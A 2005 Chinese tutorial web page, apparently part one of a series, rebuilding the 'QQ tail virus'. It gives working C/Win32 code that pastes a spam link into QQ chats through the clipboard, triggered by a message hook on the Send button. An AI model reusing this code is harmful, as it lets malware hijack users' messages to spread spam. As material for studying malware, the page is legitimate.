庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>软件破解>原理分析>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

“QQ尾巴病毒”核心技术的实现 一

 作者:本站收集   日期:2005-5-26
字号选择〖 〗/ 双击滚屏 单击停止   
  声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。

   下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

   粘贴尾巴  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:

   TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net";
   // 函数功能:向文本框中粘贴尾巴
   void PasteText(HWND hRich)
   {
   HGLOBAL hMem;
   LPTSTR pStr;
   // 分配内存空间
   hMem = GlobalAlloc(GHND   GMEM_SHARE, sizeof(g_str));
   pStr = GlobalLock(hMem);
   lstrcpy(pStr, g_str);
   GlobalUnlock(hMem);
   OpenClipboard(NULL);
   EmptyClipboard();
   // 设置剪贴板文本
   SetClipboardData(CF_TEXT, hMem);
   CloseClipboard();
   // 释放内存空间
   GlobalFree(hMem);
   // 粘贴文本
   SendMessage(hRich, WM_PASTE, 0, 0);
   } 钩子  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
   void CQQTailDlg::OnTimer(UINT nIDEvent)
   {
   PasteText(hRich);
   }

   这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……

   然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。

   首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。

   问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

   // 钩子过程,监视“发送”的命令消息
   LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
   {
   CWPSTRUCT *p = (CWPSTRUCT *)lParam;
   // 捕获“发送”按钮
   if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
   PasteText(g_hRich);
   return CallNextHookEx(g_hProc, nCode, wParam, lParam);
   }
     在此我对这个回调过程说明几点:
     1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
   typedef struct {
   LPARAM lParam;
   WPARAM wParam;
   UINT message;
   HWND hwnd;
   } CWPSTRUCT, *PCWPSTRUCT;

   这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

   2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。

   3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

   4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:

   #define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
   // QQ发送消息对话框回调过程·李马伪造版
   LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
   {
   switch (Msg)
   {
   case WM_CLOSE:
   EndDialog(hDlg, 0);
   break;
   case WM_COMMAND:
   {
   switch (LOWORD(wParam))
   {
   case IDC_BTN_SENDMSG:
   // 发送消息...
   break;
   // 其它的命令按钮处理部分...
   }
   }
   break;
   // 其它的case部分...
   }
   return 0;
   }

   消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:
上一篇:“QQ尾巴病毒”核心技术的实现 二    下一篇:没有了  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-26
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿